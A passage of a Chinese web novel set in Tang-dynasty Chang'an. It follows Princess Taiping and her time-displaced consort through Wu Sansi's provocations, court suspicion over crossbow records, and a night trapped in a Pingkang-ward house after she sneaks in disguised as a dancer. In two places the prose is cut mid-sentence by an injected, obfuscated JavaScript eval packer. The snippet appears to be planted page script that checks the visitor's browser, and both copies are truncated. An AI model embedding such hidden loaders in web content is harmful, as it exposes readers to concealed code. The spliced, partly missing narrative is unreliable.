次日,清明假期的最后一日,也是回程之时。马车在暮色中缓缓驶向春明门,车厢里一片沉寂,只有车轮碾过官道的单调声响。太平倚在软垫上,闭目养神,颈间系了条轻薄的丝巾,遮住了昨日的痕迹,但眼角眉梢的倦意,以及偶尔细微挪动身体时下意识轻蹙的眉头,泄露了不适。刘皓南坐在她对面,目光落在窗外飞逝的景色上,侧脸线条紧绷,下颚收紧,周身弥漫着一股生人勿近的低气压。昨日的疯狂与今晨的清理上药,似乎并未化解什么,反而在两人之间划下了一道更深的、无声的裂痕。 就在马车即将驶入春明门时,斜刺里突然冲出一辆朱漆华盖的钿车,车速极快,堪堪拦在了公主府马车的前方。驾车的内侍急忙勒马,车厢猛地一顿。 对面钿车的锦帘被一只戴着硕大玉扳指的手挑起,露出武三思那张保养得宜、却总带着几分精明算计的脸。他目光先是状似无意地扫过公主府马车的规制,随即精准地投向微微晃动的车帘,仿佛能穿透车壁,看到里面的人。 “我当是谁家车驾,行得这般……急切。” 武三思的声音带着惯有的、令人不适的笑意,慢悠悠响起,目光却如钩子,试图从帘幕缝隙中捕捉到什么,“原来是公主殿下与薛驸马。殿下这车……方才似乎晃得有些不同寻常,可是辕轴需要检修了?若是车驾不便,不如让下官护送一程?” 他刻意咬重了“检修”二字,语气里的探究与某种隐晦的暗示,几乎不加掩饰。他觊觎太平,并非一日两日,不仅是因其权势,亦对其容貌风姿存了亵渎之心,此刻见其车马从乐游原方向归来,又听闻驸马近日“勤于公务”冷落公主的传闻,便忍不住出言试探,想窥得一丝“闺中不谐”的痕迹,以满足其龌龊心思,更存了挑拨与伺机攫取利益之念。 太平原本微阖的眼眸倏然睁开,眼底闪过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她语速不疾不徐,甚至带着点慵懒,但“武将军”与“驸马”的对比,“府上夫人”与“本宫”的区分,尤其是那句“可不敢劳动将军大驾,费这份心”,将亲疏远近、尊卑规矩点得明明白白,更暗讽他手伸得太长,心思用错了地方。既全了表面礼数,又结结实实将武三思那点窥探挑拨的心思挡了回去,还隐隐刺了他妄图攀附、举止逾矩。 武三思脸上那勉强维持的笑容彻底挂不住了,眼底掠过一丝阴鸷。他确实只是武则天众多族侄中较得脸的一个,虽有官职,但在真正的天潢贵胄、尤其是有实封、得圣心的太平公主面前,终究是臣子。太平这声“武将军”,和后面绵里藏针的话,像一盆冷水,浇醒了他方才被那抹惊鸿一瞥的红痕勾起的、不合时宜的燥热与妄念。他搭在车窗上的手指紧了又松,终是强压下心头翻涌的嫉恨与难堪,从牙缝里挤出一句:“殿下说笑了,是下官唐突。” 目光却不由自主地再次瞟向那微微晃动的车帘,仿佛想穿透它,确认更多。 太平这话夹枪带棒,直指武三思家中妻妾之事与其惯有的谄媚钻营,可谓毫不留情。武三思脸上那虚伪的笑意瞬间僵住,脸色一阵青白,尤其是当他的目光不由自主地再次掠过太平颈间那抹刺目的红痕时,眼底深处飞快地掠过一丝妒恨与更深的贪婪。那痕迹的位置、颜色,无一不昭示着不久前发生过的亲密与占有。他搭在车窗上的手指,不自觉地收紧,指节泛白。 就在武三思脸色变幻,即将发作或强笑掩饰之际,车厢内的刘皓南动了。 他并未出声,甚至没有看向车外的武三思。他只是倏然展臂,以一种不容抗拒却又自然至极的力道,将探身出去的太平揽回了车厢内。他的手臂横过她的腰肢,手掌稳稳地、带着明确占有意味地覆在她腰间,那是一个极具保护性和宣告性的姿势。然后,他才微微抬眸,目光透过晃动的车帘缝隙,平静地、甚至可以说是冷漠地,与车外脸色难看的武三思对视了一眼。 那一眼没有任何言语,却比任何警告都更具压迫感。平静之下,是毫不掩饰的冰冷与森然,仿佛平静海面下蛰伏的凶兽,随时可能暴起撕碎觊觎其所有物的入侵者。那不是“薛绍”这个温文驸马该有的眼神,那是属于曾经在更残酷的规则中生存的、刘皓南的眼神。 武三思被这一眼看得心头莫名一寒,准备好的圆场或机锋竟一时哽在喉头。他清楚地看到了刘皓南手臂揽住太平的姿势,也看到了太平被揽回时那一瞬间流露出的、近乎依赖的顺从。再结合太平颈间那刺目的痕迹,以及此刻车厢内隐隐弥漫的、与外间截然不同的亲昵紧绷氛围,他瞬间明白,自己之前的窥探与挑拨,不仅落空,反而像是亲手将把柄递到了对方面前,还亲眼见证了对方“夫妻一体”的姿态。 一股难以言喻的羞恼和更深的嫉恨涌上心头。武三思猛地放下锦帘,从牙缝里挤出一声短促的冷哼,再也顾不上维持风度,扬起手中马鞭,狠狠抽在马臀上,朱漆钿车带着一股狼狈与怒气,绝尘而去,将公主府的车驾甩在身后扬起的尘土里。 马车重新启动,驶入春明门。车厢内,刘皓南缓缓收回了揽在太平腰间的手,但那手掌残留的温度和力道,仿佛依旧印在那里。他重新将目光投向窗外不断后退的街景,侧脸依旧紧绷,只是方才那一瞬间迸发出的、针对武三思的冰冷锐气,已缓缓收敛,重新沉入更深的静默之中。而太平,也慢慢坐直了身体,抬手将滑落的丝巾重新系好,遮住了那抹红痕,也遮住了所有情绪。只有微微蜷起的手指,泄露了方才那一刻并不平静的心绪。 车厢内,再次只剩下车轮碾过青石路面的单调声响,载着各怀心事的两人,驶向那座华美而森严的公主府,驶向假期结束后,必须重新面对的、属于“太平公主”与“驸马薛绍”的现实牢笼。 暮色浸透公主府寝殿时 氤氲的水汽在寝殿内缓缓升腾,混合着玫瑰与药草的清苦气息。太平伏在宽大的浴桶边缘,下巴搁在交叠的小臂上,任由刘皓南用细软的棉巾,一缕一缕,为她绞干湿漉漉的长发。水珠顺着她光滑的脊背滚落,没入漂浮着花瓣的水面。殿内很安静,只有棉布摩擦发丝细微的沙沙声,以及远处隐约传来的、属于长安城的、永不停歇的市井喧嚣,混着车轮碾过夜归石板路的辘辘声。 那声音单调而规律,一下,又一下,穿过重重帘幕与高墙,固执地钻进耳朵里。 太平半阖着眼,似乎昏昏欲睡,睫毛上还挂着细小的水珠。忽然,她没头没尾地咕哝了一句,声音因趴在手臂上而显得有些闷,带着事后的慵懒,却又奇异地混杂着一丝尚未完全褪去的、跃跃欲试的好奇: “方才在马车里……轱辘声那么响,一晃一晃的……” 她微微侧过脸,水光浸润的眼眸斜睨向身后正专注于手中发丝的男人,唇角勾起一个极淡的、近乎淘气的弧度,“其实……该试试的。” 她说得含糊,但刘皓南手上的动作却猛地一顿。 下一瞬,太平只觉得眼前景物一晃,整个人已被一股不容抗拒的力道从趴在桶沿的姿势转了过来,正对上刘皓南骤然逼近的脸。他湿漉漉的、还带着水汽的掌心托住了她的后脑,力道不轻,带着某种骤然紧绷的警告。浴桶里的水因这突然的动作哗啦漾出不少,打湿了他本就未完全系好的中衣下摆。 他的眼眸在氤氲水汽中显得格外深黑,里面翻涌着她熟悉的、属于“刘皓南”的锐利与冰冷,那层属于“薛绍”的温润表皮,在离开乐游原、尤其是经历了春明门外那一幕后,似乎褪得格外快。 “真这么干了,” 他开口,声音低沉,每个字都像是从喉间碾磨出来,带着清醒后权衡利弊的冷硬,“明日御史台弹劾‘驸马秽乱驰道、罔顾天家体统’的折子,能把这浴桶塞满,再淹了半个公主府。” 他盯着她的眼睛,仿佛要确认她话里有多少玩笑,多少是那个被武三思的觊觎和自己方才的占有姿态,所意外撩拨起的、不合时宜的、纯粹出于“为何不可”的大胆念头。 太平迎着他的目光,没有闪避,也没有寻常女子谈及此事的羞怯,只有一种近乎天真的探究与未被满足的好奇,像看到新奇玩具却被告知不能触碰的孩子。这眼神,与她此刻慵懒诱人的姿态奇异地混合,形成一种更致命的挑衅。 刘皓南看了她片刻,终究是松开了手,但紧绷的下颌线并未放松。他转身取过一旁备好的干燥寝衣,为她披上,又取来螺子黛与眉笔,示意她坐好。画眉是“薛绍”偶尔会为“太平”做的、彰显夫妻情深闺房之乐的事,此刻做来,却像是一种沉默的仪式,将两人重新拉回“公主”与“驸马”的角色。 他执起螺子黛,笔尖悬在她眉梢,动作细致,却透着一种刻意为之的专注。寝殿内烛火跳跃,将他低垂的侧脸映得明暗不定。忽然,他手中的笔尖在她眉梢处几不可察地一顿,声音压得极低,仿佛只是自言自语,又像是某种冰冷的判断: “武三思今日……盯着殿下衣襟的眼神,” 他顿了顿,笔尖继续缓缓描摹,声音里听不出喜怒,只有一种近乎实质的寒意,“像饿狼嗅见了血窟窿里还冒着热气的肉。” 他太熟悉那种眼神,在草原,在战场,在权力倾轧的每一个角落。那不仅仅是男人对女人的觊觎,更是猎食者对“猎物”的贪婪,对“所有物”的掠夺欲。尤其当这“猎物”实则是披着“公主”外衣的、年轻时的杨排风时,这种被侵犯感,几乎瞬间点燃了他血液深处属于战士与守护者的暴戾。 太平正仰着脸任他描画,闻言,眼波流转,忽然张口,不轻不重地咬住了他执笔那只手腕的内侧。牙齿陷入皮肉,留下清晰的印记,而那个位置,恰好覆盖住一道颜色略深的旧疤——那是“刘皓南”在某个已被遗忘的战场上,被流矢擦过的伤痕。 “疼么?” 她松开齿关,舌尖无意识地舔了舔下唇,目光却依旧清亮,带着那种天真又残忍的探究,“那……薛驸马还不赶紧把你这块‘肉’,妥妥帖帖地藏进你的铠甲里?” 她的话像羽毛,轻轻搔刮在紧绷的神经上,既是对他占有宣言的回应,也是一种带着玩味的提醒——觊觎者已至,你的铠甲,你的疆界,守好了吗? 刘皓南手腕上的肌肉微微一绷,那旧伤疤上叠着新齿印,传来细微的刺痛。他没有抽回手,只是深深看了她一眼,那一眼复杂难辨,有被挑起的怒意,有冰冷的审视,或许还有一丝……被这大胆又奇异的联结所触动的波澜。他没再说话,只是继续完成了画眉的动作,然后放下螺子黛,指尖在她眉尾那粒小小的、象征着“太平”尊贵身份的金箔花钿上,极轻地拂过。 戌时·书房 戌时的更鼓远远传来。书房内烛火通明,将刘皓南独自坐在书案后的身影拉长,投在满墙的书架与舆图上。乐游原的放纵气息已彻底消散,空气中只剩下墨香、纸香,以及冰冷的、属于权谋与算计的味道。 他面前摊开的,并非寻常公文,而是一卷边角略有磨损的《乙巳占》星图,夹杂着几页不知从何处誊抄来的、字迹潦草的民间谶语。烛光下,星宿分野的线条与模糊的偈语交织,显得晦涩难明。他手中一管紫毫笔悬停,墨色浓沉,目光却落在其中一页谶语旁几句意味不明的批注上,那字迹隐约指向女主、兵戈。沉默片刻,他提笔,在旁边的空白处,以凌厉瘦硬的笔迹,添上一行小字: “则天皇后族侄,左卫中郎将武三思,窥伺禁脔,其心叵测。近日暗查军械案线索,屡见其门下奔走痕迹。当防其以此为由,构陷‘薛绍’,断殿下臂助,献媚于上。” “武三思”三字,他写得略重,墨迹几乎透纸背。他并非真正的唐人,对此人此时具体权位升迁或许并不全然清晰,但“左卫中郎将”这个实职,加上“则天皇后族侄”这层身份,以及白日里那令人作呕的、毫不掩饰的觊觎眼神,已足够他将此人标记为最需警惕的威胁之一。尤其当这威胁,可能利用“军械”这等稍有不慎便牵扯谋逆的敏感事务做文章时,其危险性直线上升。这早已不仅是情爱层面的冒犯,更是悬于头顶、淬毒的政治匕首。 笔尖的浓墨在粗糙的纸面上微微晕开一点,形成一个不起眼的小墨团。就在这时,窗外庭院中,隐约飘来一阵轻柔的、断断续续的歌谣声,是太平在哄年幼的薛崇简入睡。她的声音与白日里那种或骄矜或慵懒的调子截然不同,带着一种刻意放软的、近乎呢喃的温柔,哼唱着不知从哪学来的民间俚曲: “月婆婆,照山河;金戈戈,斩阎罗……” “阎罗”二字传入耳中的刹那,刘皓南悬在纸上的笔尖猛地一顿。一点浓重的墨汁,不受控制地滴落在刚刚写下的“阎罗”二字之上,迅速洇开,化为一个狰狞的点,恰似白日武三思车驾离去时,车轮在尘土中留下的、充满恶意的刮痕。 他盯着那团刺目的墨痕,眸色转深。窗外,太平哼唱的歌谣声渐渐低下去,终不可闻。寝殿的方向,隐约传来孩童平稳的呼吸声,以及母亲轻柔的拍抚。而这边的书房,却仿佛被无形的冰冷所笼罩。 良久,他放下笔,揉了揉眉心,目光无意识地投向书案一侧的妆台铜镜。镜中映出他此刻紧蹙的眉峰,以及眼底尚未散尽的冷厉与思索。 忽然,他的目光凝住了。 光滑的铜镜镜面上,不知何时,被人用指尖蘸着某种嫣红的膏体,画下了一道歪歪扭扭、却笔画分明的奇特符号。那红色鲜艳刺目,是女子唇上用的胭脂。而那符号——刘皓南绝不会认错——正是那夜在长安城高高的望楼之上,他指着远方黑暗中可能存在的契丹探子哨位,低声教她辨认的、契丹游骑用以示警的“狼烟”记号简化符形! 镜面如水,倒映着他骤变的脸色。那嫣红的、幼稚却执拗的“狼烟”记号,静静地映在镜中,也仿佛烙在了他的眼底。这绝非巧合。是提醒?是警告?还是那个看似沉溺于情爱、娇纵任性的太平公主,在用这种方式,告诉他,她看见了武三思那“饿狼”般的眼神,也感知到了那平静水面下的暗流汹涌? 寝殿方向,灯火温暖,孩童安睡,母亲哼唱的歌谣余韵似乎仍在夜风中飘荡。而书房之内,烛火噼啪炸开一朵灯花,映着镜中那抹刺目的胭脂红,与书卷上那团洇开的“阎罗”,无声地对峙。 长夜,似乎刚刚开始。 52. 恨明月高悬不独照我 清明休沐结束后的第七日 兵部库部司衙署内,铜漏的滴水声在沉寂的夜色中拖出冗长的尾音。戌时已过,署内官员多已散去,唯有弩坊署的直房里,灯烛仍亮。刘皓南揉了揉酸胀的额角,目光落在又一份被驳回的弩机耗材账目上。墨笔的批注凌厉清晰,直指几处模糊关节,字迹是上官熟悉的、带着不容置疑意味的行书。此类“存疑待查”文书近日尤多,件件需他这个主事亲笔复核画押,繁琐细碎,却偏偏卡在流程关键处,分明是借“严谨”之名,行掣肘拖延之实。这“主事”一职,在军械要害之地,如坐针毡。而比案牍更耗神的,是那雪片般飞来的邀帖。范阳卢氏、陇西李氏、荥阳郑氏……河东薛氏虽为名门,但尚了公主,这“驸马都尉”的身份,在世家交往中,既是光环,亦是无形枷锁。他代表的不再仅是薛家,更是帝女,是各方势力都想试探、拉拢或掣肘的焦点。他推拒不得,只能在觥筹交错与机锋暗藏中,维持着不偏不倚、恰到好处的体面。指尖无意识地在光洁的檀木案面划过,留下“薛绍”惯用的、表示“案牍劳形,谢绝访客”的暗记,心下却一片冷肃。最令他警醒的,是东宫那份看似寻常的“垂询”,与武家一系这不寻常的“关照”,两下对照,暗流汹涌。 “薛兄!可算让小弟逮着你了!” 清亮带笑的声音打断思绪,范阳卢氏那位以豪爽闻名的二房嫡孙卢衡,已亲热地拍上他的肩。卢衡此人,面上一派纨绔风流,是平康坊常客。可刘皓南冷眼瞧着,此人醉眼迷离中偶闪的精光,与应对族中长辈时那份看似鲁莽却总恰到好处的言辞,都透着他并非表面那般简单。父母在族中不甚得势,他这嫡孙的“纨绔”皮相,是自保的盾,也是观察世情的眼。此刻他盛情相邀,攀附太平公主府这棵大树、为自己增添分量的心思,昭然若揭。 “薛驸马连日赴宴,尽是些清谈诗会,岂不乏味?” 卢衡凑近,压低了声音,带着几分男人间心照不宣的笑意,“小弟可是费了好大功夫,才在‘天水阁’定下了临台的好位置!今夜有西域龟兹来的舞团献艺,压轴的便是那鼎鼎大名的‘浑脱’!此舞等闲难得一见,若非胡商巨贾包场,等闲不演。那等风姿……啧啧,方是人间真颜色!权当是……为薛兄连日辛劳,略解烦闷,也让我等开开眼界嘛!” 他言语间刻意强调了“浑脱”的难得与艳名,显然是投“驸马”所好,亦是一种攀附的试探——能共赏此等“艳舞”,关系自然更近一层。 刘皓南心中腻烦,面上却不显,只苦笑道:“卢兄美意,心领了。只是这等场所,薛某身为驸马,实在不便……” “哎~薛兄此言差矣!” 卢衡不由分说,与几位同来的将门子弟,半推半拥地将刘皓南“请”出了衙署,“正是因薛兄身份贵重,更该体察这长安城的万种风情!不过赏舞听曲,遣兴而已,圣人亦常召胡旋入宫献舞,何伤大雅?走走走,莫要扫兴!” 拒绝的话在舌尖转了几转,终是化作一声从善如流的苦笑。卢衡背后是范阳卢氏,其邀约带着不容轻慢的“亲近”,自己若断然拒绝,不仅拂了对方面子,更可能被解读为薛家与某些势力刻意疏远,甚至被传出“驸马假作清高”的流言。也罢,且去应付片刻,露个面,赶在宵禁鼓前离开便是。刘皓南心下计定,面上只带着几分无奈,被众人簇拥着,踏入平康坊南曲那栋名为“天水阁”的朱楼。 楼内景象,与宫廷宴饮或世家雅集大异其趣。入眼是开阔的厅堂,地上铺着来自波斯的联珠纹彩毡,四壁悬挂着轻软的绡纱与织锦帷幕。矮榻散置,宾客随意倚坐,男女杂处,调笑无忌。衣着鲜艳的胡姬与梳着高髻的汉家女子穿梭其间,手捧银壶玉盏,劝酒添香。空气中弥漫着浓烈的苏合香、龙涎香混合着葡萄美酒、时新瓜果的甜腻气息,与脂粉甜香交织,形成一种直白而奢靡的氛围。丝竹管弦之声不绝于耳,间或夹杂着掷骰呼卢、行令哄笑之声,端的是一派升平醉梦景象。 卢衡引着刘皓南一行在临近中央圆台的雅席落座,此处视野极佳。很快,美酒佳肴如水般呈上,更有数位衣着暴露、身姿曼妙的胡姬近前侍酒,娇声软语,媚眼如丝。刘皓南如坐针毡,只能虚与委蛇,心中只盼那传说中的“浑脱”早些上演,也好早些寻机脱身。 正心焦间,忽闻数声羯鼓骤响,如急雨敲阶,瞬间压过了厅内的嘈杂。琵琶、筚篥、箜篌等乐器随之加入,奏出急促而充满异域风情的旋律。圆台四周的灯火忽然暗下数分,唯有台心数盏明角灯大亮。数名身姿妖娆、面覆轻纱的胡姬,踏着鼓点,旋风般舞入台中。她们皆着极轻薄的五色纱罗“彩裙”,臂挽彩帛,赤足踝上系着金铃,随着舞步叮当作响。但这只是开场的铺垫。 乐声渐转激越,舞姬们如众星拱月般散开,一名身姿尤为高挑、碧眼深邃、发髻以金链珠玉高高束起、露出光洁额头与修长脖颈的胡姬,旋舞至台心。她身着金泥簇蝶的大红“浑脱”舞衣,以极薄的越罗裁就,紧贴身躯,勾勒出惊心动魄的曲线。双臂、腰腹、乃至修长的大腿,皆有大片肌肤裸露,仅在关键处饰以璀璨的金片与流苏。脐间以金粉描绘着繁复的曼荼罗花纹,在灯光下熠熠生辉。 这便是名动长安的“浑脱”!只见她随着越来越急的鼓点,急速旋转,大红裙摆如烈火升腾,金铃急响如骤雨打萍。腰肢的扭动柔若无骨,却又充满野性的力量,每一次摆胯、仰身、折腰,都带着惊心动魄的诱惑。纱罗翻飞间,雪白的肌肤与璀璨的金饰交相辉映,晃得人眼花缭乱。她的眼神隔着面纱,依旧能感受到那种大胆而炽热的挑逗,与中原乐舞的含蓄矜持截然不同,充满了原始的生命力与毫不掩饰的情欲之美。 满堂宾客看得如痴如醉,轰然叫好声、口哨声、银钱绢帛抛洒上台的声响不绝于耳。卢衡等人亦是满面通红,击节赞叹,频频向刘皓南劝酒,语带狎昵地评论着舞姿的妙处。 刘皓南只觉浑身不自在,这过于直白的艳舞让他如芒在背,更兼心中记挂时辰,只想早些离开。他敷衍地举杯,目光却不由自主地被台边一名端着酒壶侍立的“胡姬”吸引。那女子同样覆着面纱,身量高挑,但站姿过于挺直,甚至带着一丝不易察觉的僵硬。真正令他心头狂跳的,是她云鬓间斜簪的那支赤金蝴蝶篦——蝶翼薄如蝉翼,以极细金丝缀成,振翅欲飞,在辉煌灯火下流光溢彩,分明是三日前,太平与他争执时,愤而掷于妆台、磕损了一角的那支!当时碎片溅落,他还亲手拾起,太平犹自气恼,命人收起。怎会在此?戴在一名胡姬头上? 疑窦顿生,一股不祥的预感涌上心头。他不动声色,目光紧随那人。只见那“胡姬”似感受到注视,微微侧身欲为邻座宾客斟酒,转身之际,腰间轻纱随动作掀起一角,露出一小片雪白肌肤,其上赫然有一抹鲜艳夺目的、展翅凤凰纹样!刘皓南瞳孔骤缩——那颜色过于艳丽,形态也略显板滞……是画上去的!西域赭石颜料所绘的假刺青,遇水即溶!太平曾嫌纹身疼痛,弄来此物顽笑,还在他臂上试画过! 是她!她竟敢如此胡闹!还偏偏选在这种时候,这种地方!是了,她定是听闻自己被卢衡拉来看“浑脱”这等艳舞,一怒之下,才不管不顾地扮作胡姬混了进来!刘皓南只觉得一股寒意自脊背窜起,又急又怒,几乎要按捺不住。 那“胡姬”已端着酒壶,袅袅婷婷穿过喧闹人群,朝着他们这一席走来。步履看似轻盈,却透着一丝刻意模仿的别扭。越来越近,刘皓南甚至能看清她面纱之上,那双被胭脂刻意染得绯红、微微上挑的眼尾——与她平日或清冷或骄矜的模样截然不同,在跳跃的灯火下,流转着一种陌生的、近乎妖异的光彩,却也让他最后一丝侥幸彻底熄灭。 卢衡等人也已注意到这走来的胡姬,见她身段窈窕,虽姿态稍显生硬,但别有一番风致,又见她目光似乎总往刘皓南这边飘,纷纷起哄:“薛兄!艳福不浅啊!这位美人儿可是对你青眼有加!”“快!满饮此杯,莫负佳人美意!” 刘皓南心念电转,已知太平冒险前来,必是因酷意与愤怒,此刻绝不可让她在众目睽睽下被识破!眼见那“胡姬”已至案前,素手执壶欲斟,他忽地朗声一笑,顺势握住她执壶的手腕,就着“酒意”起身,将人半揽入怀,巧妙地用自己身形遮挡住她大半,对卢衡等人笑道:“既蒙美人青眼,却之不恭。只是此处太过喧闹,难尽兴。某与美人且去厢房,清静对饮几杯,诸君自便,尽情赏舞!” 不待卢衡等人再起哄,他便半扶半抱,带着那身体明显一僵、似乎想挣扎又强忍住的“胡姬”,脚步看似虚浮,实则迅疾地闪入侧边一间空置的雅间,反手“砰”地合上了门,将一室喧嚣、乐舞与探究目光尽数关在门外。 门扉合拢的刹那,刘皓南脸上的那点佯装醉意荡然无存,只剩下惊怒交加与深深的后怕。他迅速反手闩上门,转身,看着眼前犹自带着怒意瞪视他的“胡姬”,声音压得极低,却带着难以置信的寒意和一丝几乎压抑不住的颤抖:“殿下!您……您怎能如此?!此乃何等污秽之地!您万金之躯,竟扮作……竟亲涉此等险地?!若被识破,天家颜面何存?公主清誉何存?臣……臣万死难赎!” 他急怒攻心,但称谓依旧严守礼制,只是语气中的焦灼、恐惧与责问已如火山般喷涌。 话未说完,那“胡姬”已猛地一把扯下自己的面纱,露出太平那张薄施粉黛、却因气怒、羞愤和紧张而涨得通红的脸。她眼中燃着熊熊怒火,胸脯因激动而剧烈起伏,这身暴露的、充满异域风情的舞衣,更让她此刻的模样显得既狼狈不堪,又带着一种不管不顾的、近乎绝望的决绝。 “本宫为何来此,驸马难道不知?!” 太平的声音同样压得低,却尖利如冰锥,字字刺人,“连着七日!陇西李氏的烧尾宴!范阳卢氏的诗会!荥阳郑氏的婚宴!你夜夜晚归,满身酒气!本宫体谅你公务应酬,忍了!可你呢?!你竟敢……竟敢来这种地方!看这种……这种不知羞耻的舞!卢衡是什么东西?他拉你来看这等淫舞,其心可诛!而你……薛绍!你竟真的来了!你置本宫于何地?!你心里可还有半分我这个妻子?!” 她越说越激动,眼圈迅速泛红,泪水在眼眶中打转,却倔强地不肯落下,只是狠狠瞪着刘皓南,仿佛要将他生吞活剥。 “殿下!” 刘皓南又急又气,更忧心隔墙有耳,上前一步,声音压得更低,几乎是从牙缝里挤出话来,“臣那是不得已的周旋!是……” “周旋需要来看‘浑脱’?!周旋需要让那些下贱胡姬近身劝酒?!” 太平打断他,声音带着哽咽,却愈发锋利,“卢衡递到你唇边的酒,你怎不推了?你看那舞姬的眼神……你当本宫是瞎子吗?!你是不是觉得,娶了公主,便是被拴住了,便要来找这些野趣?!你……” “梆——梆——梆——” 清晰而沉重的梆子声,伴随着隐约传来的、整齐划一的脚步声,自坊间街道由远及近,虽未闯入楼内,但那代表律法、禁令与夜禁开始的声响,如同九天冰瀑,轰然浇在两人头顶,让所有激烈的言辞瞬间冻结。 宵禁了! 刘皓南脸色骤然惨白。太平眼中的怒火也瞬间被巨大的惊惶取代。所有的愤怒、委屈、质问,在这代表帝国铁律的梆子声中,都显得微不足道。驸马与公主,深夜同处平康坊青楼,观赏艳舞,甚至“携妓入房”。金吾卫巡查虽主要针对街衢,通常不会无故闯入此等营业场所搜查,但宵禁钟响,坊门已闭,他们被困在此处了!太平即便有备而来,安排了接应,此刻也绝无可能在不惊动任何人的情况下离开平康坊,返回道政坊的公主府!而驸马夜宿平康坊,狎妓(无论真假)犯夜,一旦被察知、奏报,便是铁证如山、难以辩驳的罪名!这不仅仅是风流罪过,更是对皇室尊严的公然亵渎! 太平也彻底意识到了问题的严重性,方才的气焰全消,脸色煞白,嘴唇微微颤抖,看着刘皓南,眼中充满了后怕与无措。 刘皓南强迫自己以最快的速度冷静下来,脑中电光石火般盘算。驸马夜宿平康坊,狎妓犯夜,这条罪名明日绝对逃不掉了。御史台,尤其是那些盯着公主府、盯着他、或者盯着薛家的人,绝不会放过这个绝佳的机会。弹劾的奏章,此刻恐怕已在他们心中成形。关键在于,如何将此事的影响降到最低,尤其绝不能将太平牵扯进来!让她伪装成被自己强掳或买通的胡姬?此计绝不可行。一旦闹开,长安府、万年县岂是易与之辈?详查身份、来历,公主如何伪装?且公主“失踪”,必然震动宫禁,届时全城大索,此地焉能藏住?破绽百出,风险更大。 心念已决,他深吸一口气,看向吓得有些失神的太平,语气沉肃冰冷,带着不容置疑的决断:“殿下,请噤声,听臣一言。宵禁已过,坊门已闭,你我今夜……走不了了。” 太平猛地抬头看他,眼中惊惶更甚。 “只能等。” 刘皓南走到窗边,微微推开一条缝隙,望着窗外沉沉夜色与坊墙上代表宵禁的灯笼微光,声音冷静得近乎残酷,“等到寅时末,晨鼓响,坊门开。” “可……可若被人发现……” 太平的声音带着颤抖。 “发现是迟早的事。” 刘皓南转身,目光锐利如刀,直视太平,“驸马都尉薛绍,清明休沐后,流连平康坊,观赏艳舞‘浑脱’,携妓入房,狎妓饮酒,乃至犯夜不归。这条罪名,明日御史台的弹劾,是吃定了。卢衡等人,皆是见证。” “你……” 太平急道,脸上血色尽褪,眼中瞬间涌上泪水,不知是怕还是悔。 “臣自当领罪。” 刘皓南语气平静无波,仿佛在说与己无关之事,“依《唐律疏议》与惯例,官员宿娼、犯夜,依情节轻重,可处杖刑、罚俸、夺职。然臣身为驸马,陛下与皇后娘娘……念及天家颜面、殿下清誉,以及河东薛氏门楣,或会从轻发落。大抵是罚俸、申饬,禁足府中,暂免职务。只要不将殿下牵扯进来,不涉其他,便是最好的结果。” “可你的名声,薛家的名声……” 太平急道,此刻她才真切感受到事情的严重性远超她的想象。 “驸马的名声,在踏入此楼,应下卢衡之邀时,便已不由己了。” 刘皓南嘴角扯出一抹苦涩的弧度,“至于薛家……树大根深,尚能抵得住这番风波。只是,” 他看向太平,目光复杂,“明日之后,殿下恐要忍受诸多非议了。至于陛下与娘娘具体如何处置……” 他顿了顿,声音更低,“御史弹劾,需有实证。‘狎妓’、‘犯夜’之事,卢衡等众目睽睽,难以辩驳。然‘嫖宿’之罪,若找不出那被‘嫖宿’的胡姬本人坐实,其罪稍轻。陛下为顾全天家与薛氏颜面,亦为安抚殿下,大抵会申饬罚俸,小惩大诫,命臣闭门思过。只是,这污名,怕是难以洗清了。” 他分析得冷静透彻,太平却听得浑身发冷。她看着他苍白而紧绷的侧脸,想起他连日早出晚归的疲惫,想起自己只因酷意与一时冲动,便不顾身份、不计后果地冒险来此,不仅未能体谅他的难处,反而可能将他、将薛家推向更危险的境地,甚至可能引发朝局对她不利的猜测……无边的懊悔与后怕如同潮水般将她淹没。 “所以……你明日,定会被弹劾?可能免职?” 她声音发颤,已带上了哭腔。 “十之八九。” 刘皓南点头,目光投向窗外浓稠的夜色,“卢衡等人皆是见证。或许,这本就是某些人希望看到的局面。” 他忽然想起那些被刻意拖延、反复驳回的文书,想起东宫即将到来的核查,心中寒意更甚。今日之事,是巧合,还是……有人推波助澜? “那……你连赴七日宴饮,今日来此……真是不得已?” 太平问,语气已不复之前的激动蛮横,只剩下茫然与恐惧。 刘皓南走到床边坐下,却并未靠近太平,只是低声道:“殿下可曾想过,东宫、英王府、相王府,三位皇子几乎同时向臣示好,频频相召,意味着什么?弩坊署那些永远也核不清、总能被挑出毛病的账目文书,背后又是谁在授意?” 他抬眼,目光如寒星,“东宫,明日要亲临兵部,查阅弩坊署近三年的所有存档,尤其是……三年前,送往雁门关,后报称‘途中遇劫,损失殆尽’的那一批重弩机括详图与核销记录。” 太平的呼吸骤然一窒。她是帝国公主,自幼长于宫廷,对权力倾轧与阴谋诡计并不陌生。雁门关、重弩、三年前、东宫突然要查……这些词汇串联起来的危险轮廓,让她瞬间明白了刘皓南连日来如履薄冰的处境。 “有人,不想让臣好好核查,或者说,不想让臣在太子查到时,交出清晰无误的账目。” 刘皓南的声音压得更低,几乎微不可闻,“他们处处使绊子,或许,也包括今日卢衡这‘恰到好处’的邀约,这满长安皆知的‘浑脱’……臣推拒不得,不仅是为周全场面,更是为了……不让人看出臣的‘特别’,不让人抓住把柄,说臣‘清高孤介’、‘不与同僚为伍’。臣需得看起来,只是一个有些旧日习气、忙于公务也偶尔应酬的普通驸马,并无特别之处,也无甚威胁。此地,” 他环视这充斥着脂粉甜香的厢房,语气疲惫至极,“便是泥潭之一。臣本打算略坐即走,谁料……” 谁料你会来。谁料你会因酷意与猜疑,用这种自毁般的方式,出现在这里,将我们都拖入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 